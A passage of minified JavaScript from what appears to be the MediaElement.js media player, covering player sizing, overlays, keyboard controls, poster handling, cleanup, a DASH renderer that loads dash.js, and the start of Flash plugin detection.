0!==e?e.detail.target||e.target:n.media;n.options.videoHeight<=0&&!n.domNode.getAttribute("height")&&!n.domNode.style.height&&null!==t&&!isNaN(t.videoHeight)&&(n.setPlayerSize(t.videoWidth,t.videoHeight),n.setControlsSize(),n.media.setSize(t.videoWidth,t.videoHeight))})),n.media.addEventListener("play",function(){for(var e in n.hasFocus=!0,f.default.players)if(f.default.players.hasOwnProperty(e)){var t=f.default.players[e];t.id===n.id||!n.options.pauseOtherPlayers||t.paused||t.ended||!0===t.options.ignorePauseOtherPlayersOption||(t.pause(),t.hasFocus=!1)}w.IS_ANDROID||w.IS_IOS||n.options.alwaysShowControls||!n.isVideo||n.hideControls()}),n.media.addEventListener("ended",function(){if(n.options.autoRewind)try{n.setCurrentTime(0),setTimeout(function(){var e=n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-loading");e&&e.parentNode&&(e.parentNode.style.display="none")},20)}catch(e){}"function"==typeof n.media.renderer.stop?n.media.renderer.stop():n.pause(),n.setProgressRail&&n.setProgressRail(),n.setCurrentRail&&n.setCurrentRail(),n.options.loop?n.play():!n.options.alwaysShowControls&&n.controlsEnabled&&n.showControls()}),n.media.addEventListener("loadedmetadata",function(){(0,c.calculateTimeFormat)(n.getDuration(),n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.isFullScreen||(n.setPlayerSize(n.width,n.height),n.setControlsSize())});var l=null;n.media.addEventListener("timeupdate",function(){isNaN(n.getDuration())||l===n.getDuration()||(l=n.getDuration(),(0,c.calculateTimeFormat)(l,n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.setControlsSize())}),n.getElement(n.container).addEventListener("click",function(e){P.addClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive")}),n.getElement(n.container).addEventListener("focusin",function(e){P.removeClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive"),!n.isVideo||w.IS_ANDROID||w.IS_IOS||!n.controlsEnabled||n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.getElement(n.container).addEventListener("focusout",function(e){setTimeout(function(){e.relatedTarget&&n.keyboardAction&&!e.relatedTarget.closest("."+n.options.classPrefix+"container")&&(n.keyboardAction=!1,!n.isVideo||n.options.alwaysShowControls||n.paused||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))},0)}),setTimeout(function(){n.setPlayerSize(n.width,n.height),n.setControlsSize()},0),n.globalResizeCallback=function(){n.isFullScreen||w.HAS_TRUE_NATIVE_FULLSCREEN&&x.default.webkitIsFullScreen||n.setPlayerSize(n.width,n.height),n.setControlsSize()},n.globalBind("resize",n.globalResizeCallback)}i&&r&&n.play(),n.options.success&&("string"==typeof n.options.success?S.default[n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n))}}},{key:"_handleError",value:function(e,t,n){var o=this,i=o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-play");i&&(i.style.display="none"),o.options.error&&o.options.error(e,t,n),o.getElement(o.container).querySelector("."+o.options.classPrefix+"cannotplay")&&o.getElement(o.container).querySelector("."+o.options.classPrefix+"cannotplay").remove();var r=x.default.createElement("div");r.className=o.options.classPrefix+"cannotplay",r.style.width="100%",r.style.height="100%";var a="function"==typeof o.options.customError?o.options.customError(o.media,o.media.originalNode):o.options.customError,s="";if(!a){var l=o.media.originalNode.getAttribute("poster");if(l&&(s='<img src="'+l+'" alt="'+f.default.i18n.t("mejs.download-file")+'">'),e.message&&(a="<p>"+e.message+"</p>"),e.urls)for(var d=0,u=e.urls.length;d<u;d++){var c=e.urls[d];a+='<a href="'+c.src+'" data-type="'+c.type+'"><span>'+f.default.i18n.t("mejs.download-file")+": "+c.src+"</span></a>"}}a&&o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error")&&(r.innerHTML=a,o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error").innerHTML=""+s+r.outerHTML,o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error").parentNode.style.display="block"),o.controlsEnabled&&o.disableControls()}},{key:"setPlayerSize",value:function(e,t){var n=this;if(!n.options.setDimensions)return!1;switch(void 0!==e&&(n.width=e),void 0!==t&&(n.height=t),n.options.stretching){case"fill":n.isVideo?n.setFillMode():n.setDimensions(n.width,n.height);break;case"responsive":n.setResponsiveMode();break;case"none":n.setDimensions(n.width,n.height);break;default:!0===n.hasFluidMode()?n.setResponsiveMode():n.setDimensions(n.width,n.height)}}},{key:"hasFluidMode",value:function(){var e=this;return-1!==e.height.toString().indexOf("%")||e.node&&e.node.style.maxWidth&&"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width||e.node&&e.node.currentStyle&&"100%"===e.node.currentStyle.maxWidth}},{key:"setResponsiveMode",value:function(){var o=this,e=function(){for(var t=void 0,n=o.getElement(o.container);n;){try{if(w.IS_FIREFOX&&"html"===n.tagName.toLowerCase()&&S.default.self!==S.default.top&&null!==S.default.frameElement)return S.default.frameElement;t=n.parentElement}catch(e){t=n.parentElement}if(t&&P.visible(t))return t;n=t}return null}(),t=e?getComputedStyle(e,null):getComputedStyle(x.default.body,null),n=o.isVideo?o.node.videoWidth&&0<o.node.videoWidth?o.node.videoWidth:o.node.getAttribute("width")?o.node.getAttribute("width"):o.options.defaultVideoWidth:o.options.defaultAudioWidth,i=o.isVideo?o.node.videoHeight&&0<o.node.videoHeight?o.node.videoHeight:o.node.getAttribute("height")?o.node.getAttribute("height"):o.options.defaultVideoHeight:o.options.defaultAudioHeight,r=function(){if(!o.options.enableAutosize)return o.initialAspectRatio;var e=1;return o.isVideo&&(e=o.node.videoWidth&&0<o.node.videoWidth&&o.node.videoHeight&&0<o.node.videoHeight?o.height>=o.width?o.node.videoWidth/o.node.videoHeight:o.node.videoHeight/o.node.videoWidth:o.initialAspectRatio,(isNaN(e)||e<.01||100<e)&&(e=1)),e}(),a=parseFloat(t.height),s=void 0,l=parseFloat(t.width);if(s=o.isVideo?"100%"===o.height?parseFloat(l*i/n,10):o.height>=o.width?parseFloat(l/r,10):parseFloat(l*r,10):i,isNaN(s)&&(s=a),0<o.getElement(o.container).parentNode.length&&"body"===o.getElement(o.container).parentNode.tagName.toLowerCase()&&(l=S.default.innerWidth||x.default.documentElement.clientWidth||x.default.body.clientWidth,s=S.default.innerHeight||x.default.documentElement.clientHeight||x.default.body.clientHeight),s&&l){o.getElement(o.container).style.width=l+"px",o.getElement(o.container).style.height=s+"px",o.node.style.width="100%",o.node.style.height="100%",o.isVideo&&o.media.setSize&&o.media.setSize(l,s);for(var d=o.getElement(o.layers).children,u=0,c=d.length;u<c;u++)d[u].style.width="100%",d[u].style.height="100%"}}},{key:"setFillMode",value:function(){var e=this,t=S.default.self!==S.default.top&&null!==S.default.frameElement,n=function(){for(var t=void 0,n=e.getElement(e.container);n;){try{if(w.IS_FIREFOX&&"html"===n.tagName.toLowerCase()&&S.default.self!==S.default.top&&null!==S.default.frameElement)return S.default.frameElement;t=n.parentElement}catch(e){t=n.parentElement}if(t&&P.visible(t))return t;n=t}return null}(),o=n?getComputedStyle(n,null):getComputedStyle(x.default.body,null);"none"!==e.node.style.height&&e.node.style.height!==e.height&&(e.node.style.height="auto"),"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width&&(e.node.style.maxWidth="none"),"none"!==e.node.style.maxHeight&&e.node.style.maxHeight!==e.height&&(e.node.style.maxHeight="none"),e.node.currentStyle&&("100%"===e.node.currentStyle.height&&(e.node.currentStyle.height="auto"),"100%"===e.node.currentStyle.maxWidth&&(e.node.currentStyle.maxWidth="none"),"100%"===e.node.currentStyle.maxHeight&&(e.node.currentStyle.maxHeight="none")),t||parseFloat(o.width)||(n.style.width=e.media.offsetWidth+"px"),t||parseFloat(o.height)||(n.style.height=e.media.offsetHeight+"px"),o=getComputedStyle(n);var i=parseFloat(o.width),r=parseFloat(o.height);e.setDimensions("100%","100%");var a=e.getElement(e.container).querySelector("."+e.options.classPrefix+"poster>img");a&&(a.style.display="");for(var s=e.getElement(e.container).querySelectorAll("object, embed, iframe, video"),l=e.height,d=e.width,u=i,c=l*i/d,f=d*r/l,p=r,m=i<f==!1,h=m?Math.floor(u):Math.floor(f),v=m?Math.floor(c):Math.floor(p),g=m?i+"px":h+"px",y=m?v+"px":r+"px",E=0,b=s.length;E<b;E++)s[E].style.height=y,s[E].style.width=g,e.media.setSize&&e.media.setSize(g,y),s[E].style.marginLeft=Math.floor((i-h)/2)+"px",s[E].style.marginTop=0}},{key:"setDimensions",value:function(e,t){var n=this;e=(0,m.isString)(e)&&-1<e.indexOf("%")?e:parseFloat(e)+"px",t=(0,m.isString)(t)&&-1<t.indexOf("%")?t:parseFloat(t)+"px",n.getElement(n.container).style.width=e,n.getElement(n.container).style.height=t;for(var o=n.getElement(n.layers).children,i=0,r=o.length;i<r;i++)o[i].style.width=e,o[i].style.height=t}},{key:"setControlsSize",value:function(){var t=this;if(P.visible(t.getElement(t.container)))if(t.rail&&P.visible(t.rail)){for(var e=t.total?getComputedStyle(t.total,null):null,n=e?parseFloat(e.marginLeft)+parseFloat(e.marginRight):0,o=getComputedStyle(t.rail),i=parseFloat(o.marginLeft)+parseFloat(o.marginRight),r=0,a=P.siblings(t.rail,function(e){return e!==t.rail}),s=a.length,l=0;l<s;l++)r+=a[l].offsetWidth;r+=n+(0===n?2*i:i)+1,t.getElement(t.container).style.minWidth=r+"px";var d=(0,m.createEvent)("controlsresize",t.getElement(t.container));t.getElement(t.container).dispatchEvent(d)}else{for(var u=t.getElement(t.controls).children,c=0,f=0,p=u.length;f<p;f++)c+=u[f].offsetWidth;t.getElement(t.container).style.minWidth=c+"px"}}},{key:"addControlElement",value:function(e,t){var n=this;if(void 0!==n.featurePosition[t]){var o=n.getElement(n.controls).children[n.featurePosition[t]-1];o.parentNode.insertBefore(e,o.nextSibling)}else{n.getElement(n.controls).appendChild(e);for(var i=n.getElement(n.controls).children,r=0,a=i.length;r<a;r++)if(e===i[r]){n.featurePosition[t]=r;break}}}},{key:"createIframeLayer",value:function(){var t=this;if(t.isVideo&&null!==t.media.rendererName&&-1<t.media.rendererName.indexOf("iframe")&&!x.default.getElementById(t.media.id+"-iframe-overlay")){var e=x.default.createElement("div"),n=x.default.getElementById(t.media.id+"_"+t.media.rendererName);e.id=t.media.id+"-iframe-overlay",e.className=t.options.classPrefix+"iframe-overlay",e.addEventListener("click",function(e){t.options.clickToPlayPause&&(t.paused?t.play():t.pause(),e.preventDefault(),e.stopPropagation())}),n.parentNode.insertBefore(e,n)}}},{key:"resetSize",value:function(){var e=this;setTimeout(function(){e.setPlayerSize(e.width,e.height),e.setControlsSize()},50)}},{key:"setPoster",value:function(e){var t=this;if(t.getElement(t.container)){var n=t.getElement(t.container).querySelector("."+t.options.classPrefix+"poster");n||((n=x.default.createElement("div")).className=t.options.classPrefix+"poster "+t.options.classPrefix+"layer",t.getElement(t.layers).appendChild(n));var o=n.querySelector("img");!o&&e&&((o=x.default.createElement("img")).className=t.options.classPrefix+"poster-img",o.width="100%",o.height="100%",n.style.display="",n.appendChild(o)),e?(o.setAttribute("src",e),n.style.backgroundImage='url("'+e+'")',n.style.display=""):o?(n.style.backgroundImage="none",n.style.display="none",o.remove()):n.style.display="none"}else(w.IS_IPAD&&t.options.iPadUseNativeControls||w.IS_IPHONE&&t.options.iPhoneUseNativeControls||w.IS_ANDROID&&t.options.AndroidUseNativeControls)&&(t.media.originalNode.poster=e)}},{key:"changeSkin",value:function(e){var t=this;t.getElement(t.container).className=t.options.classPrefix+"container "+e,t.setPlayerSize(t.width,t.height),t.setControlsSize()}},{key:"globalBind",value:function(e,n){var o=this.node?this.node.ownerDocument:x.default;if((e=(0,m.splitEvents)(e,this.id)).d)for(var t=e.d.split(" "),i=0,r=t.length;i<r;i++)t[i].split(".").reduce(function(e,t){return o.addEventListener(t,n,!1),t},"");if(e.w)for(var a=e.w.split(" "),s=0,l=a.length;s<l;s++)a[s].split(".").reduce(function(e,t){return S.default.addEventListener(t,n,!1),t},"")}},{key:"globalUnbind",value:function(e,n){var o=this.node?this.node.ownerDocument:x.default;if((e=(0,m.splitEvents)(e,this.id)).d)for(var t=e.d.split(" "),i=0,r=t.length;i<r;i++)t[i].split(".").reduce(function(e,t){return o.removeEventListener(t,n,!1),t},"");if(e.w)for(var a=e.w.split(" "),s=0,l=a.length;s<l;s++)a[s].split(".").reduce(function(e,t){return S.default.removeEventListener(t,n,!1),t},"")}},{key:"buildfeatures",value:function(e,t,n,o){for(var i=0,r=this.options.features.length;i<r;i++){var a=this.options.features[i];if(this["build"+a])try{this["build"+a](e,t,n,o)}catch(e){console.error("error building "+a,e)}}}},{key:"buildposter",value:function(e,t,n,o){var i=this,r=x.default.createElement("div");r.className=i.options.classPrefix+"poster "+i.options.classPrefix+"layer",n.appendChild(r);var a=o.originalNode.getAttribute("poster");""!==e.options.poster&&(a&&w.IS_IOS&&o.originalNode.removeAttribute("poster"),a=e.options.poster),a?i.setPoster(a):null!==i.media.renderer&&"function"==typeof i.media.renderer.getPosterUrl?i.setPoster(i.media.renderer.getPosterUrl()):r.style.display="none",o.addEventListener("play",function(){r.style.display="none"}),o.addEventListener("playing",function(){r.style.display="none"}),e.options.showPosterWhenEnded&&e.options.autoRewind&&o.addEventListener("ended",function(){r.style.display=""}),o.addEventListener("error",function(){r.style.display="none"}),e.options.showPosterWhenPaused&&o.addEventListener("pause",function(){e.ended||(r.style.display="")})}},{key:"buildoverlays",value:function(t,e,n,o){if(t.isVideo){var i=this,r=x.default.createElement("div"),a=x.default.createElement("div"),s=x.default.createElement("div");r.style.display="none",r.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer",r.innerHTML='<div class="'+i.options.classPrefix+'overlay-loading"><span class="'+i.options.classPrefix+'overlay-loading-bg-img"></span></div>',n.appendChild(r),a.style.display="none",a.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer",a.innerHTML='<div class="'+i.options.classPrefix+'overlay-error"></div>',n.appendChild(a),s.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer "+i.options.classPrefix+"overlay-play",s.innerHTML='<div class="'+i.options.classPrefix+'overlay-button" role="button" tabindex="0" aria-label="'+u.default.t("mejs.play")+'" aria-pressed="false"></div>',s.addEventListener("click",function(){if(i.options.clickToPlayPause){var e=i.getElement(i.container).querySelector("."+i.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");i.paused?i.play():i.pause(),e.setAttribute("aria-pressed",!!t),i.getElement(i.container).focus()}}),s.addEventListener("keydown",function(e){var t=e.keyCode||e.which||0;if(13===t||w.IS_FIREFOX&&32===t){var n=(0,m.createEvent)("click",s);return s.dispatchEvent(n),!1}}),n.appendChild(s),null!==i.media.rendererName&&(/(youtube|facebook)/i.test(i.media.rendererName)&&!(i.media.originalNode.getAttribute("poster")||t.options.poster||"function"==typeof i.media.renderer.getPosterUrl&&i.media.renderer.getPosterUrl())||w.IS_STOCK_ANDROID||i.media.originalNode.getAttribute("autoplay"))&&(s.style.display="none");var l=!1;o.addEventListener("play",function(){s.style.display="none",r.style.display="none",a.style.display="none",l=!1}),o.addEventListener("playing",function(){s.style.display="none",r.style.display="none",a.style.display="none",l=!1}),o.addEventListener("seeking",function(){s.style.display="none",r.style.display="",l=!1}),o.addEventListener("seeked",function(){s.style.display=i.paused&&!w.IS_STOCK_ANDROID?"":"none",r.style.display="none",l=!1}),o.addEventListener("pause",function(){r.style.display="none",w.IS_STOCK_ANDROID||l||(s.style.display=""),l=!1}),o.addEventListener("waiting",function(){r.style.display="",l=!1}),o.addEventListener("loadeddata",function(){r.style.display="",w.IS_ANDROID&&(o.canplayTimeout=setTimeout(function(){if(x.default.createEvent){var e=x.default.createEvent("HTMLEvents");return e.initEvent("canplay",!0,!0),o.dispatchEvent(e)}},300)),l=!1}),o.addEventListener("canplay",function(){r.style.display="none",clearTimeout(o.canplayTimeout),l=!1}),o.addEventListener("error",function(e){i._handleError(e,i.media,i.node),r.style.display="none",s.style.display="none",l=!0}),o.addEventListener("loadedmetadata",function(){i.controlsEnabled||i.enableControls()}),o.addEventListener("keydown",function(e){i.onkeydown(t,o,e),l=!1})}}},{key:"buildkeyboard",value:function(o,e,t,i){var r=this;r.getElement(r.container).addEventListener("keydown",function(){r.keyboardAction=!0}),r.globalKeydownCallback=function(e){var t=x.default.activeElement.closest("."+r.options.classPrefix+"container"),n=r.media.closest("."+r.options.classPrefix+"container");return r.hasFocus=!(!t||!n||t.id!==n.id),r.onkeydown(o,i,e)},r.globalClickCallback=function(e){r.hasFocus=!!e.target.closest("."+r.options.classPrefix+"container")},r.globalBind("keydown",r.globalKeydownCallback),r.globalBind("click",r.globalClickCallback)}},{key:"onkeydown",value:function(e,t,n){if(e.hasFocus&&e.options.enableKeyboard)for(var o=0,i=e.options.keyActions.length;o<i;o++)for(var r=e.options.keyActions[o],a=0,s=r.keys.length;a<s;a++)if(n.keyCode===r.keys[a])return r.action(e,t,n.keyCode,n),n.preventDefault(),void n.stopPropagation();return!0}},{key:"play",value:function(){this.proxy.play()}},{key:"pause",value:function(){this.proxy.pause()}},{key:"load",value:function(){this.proxy.load()}},{key:"setCurrentTime",value:function(e){this.proxy.setCurrentTime(e)}},{key:"getCurrentTime",value:function(){return this.proxy.currentTime}},{key:"getDuration",value:function(){return this.proxy.duration}},{key:"setVolume",value:function(e){this.proxy.volume=e}},{key:"getVolume",value:function(){return this.proxy.getVolume()}},{key:"setMuted",value:function(e){this.proxy.setMuted(e)}},{key:"setSrc",value:function(e){this.controlsEnabled||this.enableControls(),this.proxy.setSrc(e)}},{key:"getSrc",value:function(){return this.proxy.getSrc()}},{key:"canPlayType",value:function(e){return this.proxy.canPlayType(e)}},{key:"remove",value:function(){var l=this,d=l.media.rendererName,u=l.media.originalNode.src;for(var e in l.options.features){var t=l.options.features[e];if(l["clean"+t])try{l["clean"+t](l,l.getElement(l.layers),l.getElement(l.controls),l.media)}catch(e){console.error("error cleaning "+t,e)}}var n=l.node.getAttribute("width"),o=l.node.getAttribute("height");if(n?-1===n.indexOf("%")&&(n+="px"):n="auto",o?-1===o.indexOf("%")&&(o+="px"):o="auto",l.node.style.width=n,l.node.style.height=o,l.setPlayerSize(0,0),l.isDynamic?l.getElement(l.container).parentNode.insertBefore(l.node,l.getElement(l.container)):function(){l.node.setAttribute("controls",!0),l.node.setAttribute("id",l.node.getAttribute("id").replace("_"+d,"").replace("_from_mejs",""));var e=l.getElement(l.container).querySelector("."+l.options.classPrefix+"poster>img");(e&&l.node.setAttribute("poster",e.src),delete l.node.autoplay,l.node.setAttribute("src",""),""!==l.media.canPlayType((0,p.getTypeFromFile)(u))&&l.node.setAttribute("src",u),d&&-1<d.indexOf("iframe"))&&x.default.getElementById(l.media.id+"-iframe-overlay").remove();var i=l.node.cloneNode();if(i.style.display="",l.getElement(l.container).parentNode.insertBefore(i,l.getElement(l.container)),l.node.remove(),l.mediaFiles)for(var t=0,n=l.mediaFiles.length;t<n;t++){var o=x.default.createElement("source");o.setAttribute("src",l.mediaFiles[t].src),o.setAttribute("type",l.mediaFiles[t].type),i.appendChild(o)}if(l.trackFiles)for(var r=function(e,t){var n=l.trackFiles[e],o=x.default.createElement("track");o.kind=n.kind,o.label=n.label,o.srclang=n.srclang,o.src=n.src,i.appendChild(o),o.addEventListener("load",function(){this.mode="showing",i.textTracks[e].mode="showing"})},a=0,s=l.trackFiles.length;a<s;a++)r(a);delete l.node,delete l.mediaFiles,delete l.trackFiles}(),l.media.renderer&&"function"==typeof l.media.renderer.destroy&&l.media.renderer.destroy(),delete f.default.players[l.id],"object"===a(l.getElement(l.container))){var i=l.getElement(l.container).parentNode.querySelector("."+l.options.classPrefix+"offscreen");i&&i.remove(),l.getElement(l.container).remove()}l.globalUnbind("resize",l.globalResizeCallback),l.globalUnbind("keydown",l.globalKeydownCallback),l.globalUnbind("click",l.globalClickCallback),delete l.media.player}},{key:"paused",get:function(){return this.proxy.paused}},{key:"muted",get:function(){return this.proxy.muted},set:function(e){this.setMuted(e)}},{key:"ended",get:function(){return this.proxy.ended}},{key:"readyState",get:function(){return this.proxy.readyState}},{key:"currentTime",set:function(e){this.setCurrentTime(e)},get:function(){return this.getCurrentTime()}},{key:"duration",get:function(){return this.getDuration()}},{key:"volume",set:function(e){this.setVolume(e)},get:function(){return this.getVolume()}},{key:"src",set:function(e){this.setSrc(e)},get:function(){return this.getSrc()}}]),r}();S.default.MediaElementPlayer=l,f.default.MediaElementPlayer=l,n.default=l},{17:17,2:2,25:25,26:26,27:27,28:28,3:3,30:30,5:5,6:6,7:7}],17:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var o,i=function(){function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(e,t,n){return t&&o(e.prototype,t),n&&o(e,n),e}}(),r=e(3),a=(o=r)&&o.__esModule?o:{default:o};var s=function(){function e(t){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.media=t.media,this.isVideo=t.isVideo,this.classPrefix=t.options.classPrefix,this.createIframeLayer=function(){return t.createIframeLayer()},this.setPoster=function(e){return t.setPoster(e)},this}return i(e,[{key:"play",value:function(){this.media.play()}},{key:"pause",value:function(){this.media.pause()}},{key:"load",value:function(){this.isLoaded||this.media.load(),this.isLoaded=!0}},{key:"setCurrentTime",value:function(e){this.media.setCurrentTime(e)}},{key:"getCurrentTime",value:function(){return this.media.currentTime}},{key:"getDuration",value:function(){var e=this.media.getDuration();return e===1/0&&this.media.seekable&&this.media.seekable.length&&(e=this.media.seekable.end(0)),e}},{key:"setVolume",value:function(e){this.media.setVolume(e)}},{key:"getVolume",value:function(){return this.media.getVolume()}},{key:"setMuted",value:function(e){this.media.setMuted(e)}},{key:"setSrc",value:function(e){var t=this,n=document.getElementById(t.media.id+"-iframe-overlay");n&&n.remove(),t.media.setSrc(e),t.createIframeLayer(),null!==t.media.renderer&&"function"==typeof t.media.renderer.getPosterUrl&&t.setPoster(t.media.renderer.getPosterUrl())}},{key:"getSrc",value:function(){return this.media.getSrc()}},{key:"canPlayType",value:function(e){return this.media.canPlayType(e)}},{key:"paused",get:function(){return this.media.paused}},{key:"muted",set:function(e){this.setMuted(e)},get:function(){return this.media.muted}},{key:"ended",get:function(){return this.media.ended}},{key:"readyState",get:function(){return this.media.readyState}},{key:"currentTime",set:function(e){this.setCurrentTime(e)},get:function(){return this.getCurrentTime()}},{key:"duration",get:function(){return this.getDuration()}},{key:"remainingTime",get:function(){return this.getDuration()-this.currentTime()}},{key:"volume",set:function(e){this.setVolume(e)},get:function(){return this.getVolume()}},{key:"src",set:function(e){this.setSrc(e)},get:function(){return this.getSrc()}}]),e}();n.default=s,a.default.DefaultPlayer=s},{3:3}],18:[function(e,t,n){"use strict";a(e(3));var o,i=a(e(7)),r=a(e(16));function a(e){return e&&e.__esModule?e:{default:e}}"undefined"!=typeof jQuery?i.default.$=jQuery:"undefined"!=typeof Zepto?i.default.$=Zepto:"undefined"!=typeof ender&&(i.default.$=ender),void 0!==(o=i.default.$)&&(o.fn.mediaelementplayer=function(e){return!1===e?this.each(function(){var e=o(this).data("mediaelementplayer");e&&e.remove(),o(this).removeData("mediaelementplayer")}):this.each(function(){o(this).data("mediaelementplayer",new r.default(this,e))}),this},o(document).ready(function(){o("."+i.default.MepDefaults.classPrefix+"player").mediaelementplayer()}))},{16:16,3:3,7:7}],19:[function(e,t,n){"use strict";var b="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},S=a(e(3)),x=a(e(7)),w=e(8),P=e(27),o=e(28),i=e(25),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var T={promise:null,load:function(e){return"undefined"!=typeof dashjs?T.promise=new Promise(function(e){e()}).then(function(){T._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.dashjs.org/latest/dash.all.min.js",T.promise=T.promise||(0,r.loadScript)(e.options.path),T.promise.then(function(){T._createPlayer(e)})),T.promise},_createPlayer:function(e){var t=dashjs.MediaPlayer().create();return S.default["__ready__"+e.id](t),t}},s={name:"native_dash",options:{prefix:"native_dash",dash:{path:"https://cdn.dashjs.org/latest/dash.all.min.js",debug:!1,drm:{},robustnessLevel:""}},canPlayType:function(e){return i.HAS_MSE&&-1<["application/dash+xml"].indexOf(e.toLowerCase())},create:function(s,l,e){var t=s.originalNode,r=s.id+"_"+l.prefix,a=t.autoplay,n=t.children,d=null,u=null;t.removeAttribute("type");for(var o=0,i=n.length;o<i;o++)n[o].removeAttribute("type");d=t.cloneNode(!0),l=Object.assign(l,s.options);for(var c=x.default.html5media.properties,f=x.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),p=function(e){var t=(0,P.createEvent)(e.type,s);s.dispatchEvent(t)},m=function(i){var e=""+i.substring(0,1).toUpperCase()+i.substring(1);d["get"+e]=function(){return null!==u?d[i]:null},d["set"+e]=function(e){if(-1===x.default.html5media.readOnlyProperties.indexOf(i))if("src"===i){var t="object"===(void 0===e?"undefined":b(e))&&e.src?e.src:e;if(d[i]=t,null!==u){u.reset();for(var n=0,o=f.length;n<o;n++)d.removeEventListener(f[n],p);u=T._createPlayer({options:l.dash,id:r}),e&&"object"===(void 0===e?"undefined":b(e))&&"object"===b(e.drm)&&(u.setProtectionData(e.drm),(0,P.isString)(l.dash.robustnessLevel)&&l.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(l.dash.robustnessLevel)),u.attachSource(t),a&&u.play()}}else d[i]=e}},h=0,v=c.length;h<v;h++)m(c[h]);if(S.default["__ready__"+r]=function(e){s.dashPlayer=u=e;for(var t,n=dashjs.MediaPlayer.events,o=0,i=f.length;o<i;o++)"loadedmetadata"===(t=f[o])&&(u.initialize(),u.attachView(d),u.setAutoPlay(!1),"object"!==b(l.dash.drm)||x.default.Utils.isObjectEmpty(l.dash.drm)||(u.setProtectionData(l.dash.drm),(0,P.isString)(l.dash.robustnessLevel)&&l.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(l.dash.robustnessLevel)),u.attachSource(d.getSrc())),d.addEventListener(t,p);var r=function(e){if("error"===e.type.toLowerCase())s.generateError(e.message,d.src),console.error(e);else{var t=(0,P.createEvent)(e.type,s);t.data=e,s.dispatchEvent(t)}};for(var a in n)n.hasOwnProperty(a)&&u.on(n[a],function(e){return r(e)})},e&&0<e.length)for(var g=0,y=e.length;g<y;g++)if(w.renderer.renderers[l.prefix].canPlayType(e[g].type)){d.setAttribute("src",e[g].src),void 0!==e[g].drm&&(l.dash.drm=e[g].drm);break}d.setAttribute("id",r),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none",d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return d.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.reset()};var E=(0,P.createEvent)("rendererready",d);return s.dispatchEvent(E),s.promises.push(T.load({options:l.dash,id:r})),d}};o.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".mpd")?"application/dash+xml":null}),w.renderer.add(s)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],20:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.PluginDetector=void 0;var d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},C=o(e(3)),k=o(e(2)),_=o(e(7)),N=o(e(5)),A=e(8),L=e(27),F=e(25),j=e(28);function o(e){return e&&e.__esModule?e:{default:e}}var r=n.PluginDetector={plugins:[],hasPluginVersion:function(e,t){var n=r.plugins[e];return t[1]=t[1]||0,t[2]=t[2]||0,n[0]>t[0]||n[0]===t[0]&&n[1]>t[1]||n[0]===t[0]&&n[1]===t[1]&&n[2]>=t[2]},addPlugin:function(e,t,n,o,i){r.plugins[e]=r.detectPlugin(t,n,o,i)},detectPlugin:function(e,t,n,o){var i=[0,0,0],r=void 0,a=void 0;if(null!==F.NAV.plugins&&void 0!==F.NAV.plugins&&"object"===d(F.NAV.plugins[e])){if((r=F.NAV.plugins[e].description)&&(void 0===F.NAV.mimeTypes||!F.NAV.mimeTypes[t]||F.NAV.mimeTypes[t].enabledPlugin))for(var s=0,l=(i=r.replace(e,"").replace(/^\s+/,"").replace(/\sr/gi,".").split(".")).length;s<l;s++)i[s]=parseInt(i[s].match(/\d+/),10)}else if(void 0!==C.default.ActiveXObject)try{(a=new ActiveXObject(n))&&(i=o(a))}catch(e){}return i}};r.addPlugin("flash","Shockwave Flash","application/x-shockwave-flash","ShockwaveFlash.ShockwaveFlash",function(e){var t=[],n=e.GetVariable("$version");return n&&(n=n.split(" ")[1].split(","),t=[parseInt(n[0],10),parseInt(n[1],10),parseInt(n[2],10)]),t});var i={create:function(e,t,n){var r={},o=!1;r.options=t,r.id=e.id+"_"+r.options.prefix,r.mediaElement=e,r.flashState={},r.flashApi=null,r.flashApiStack=[];for(var i=_.default.html5media.properties,a=function(t){r.flashState[t]=null;var e=""+t.substring(0,1).toUpperCase()+t.substring(1);r["get"+e]=function(){if(null!==r.flashApi){if("function"==typeof r.flashApi["get_"+t]){var e=r.flashApi["get_"+t]();return"buffered"===t?{start:function(){return 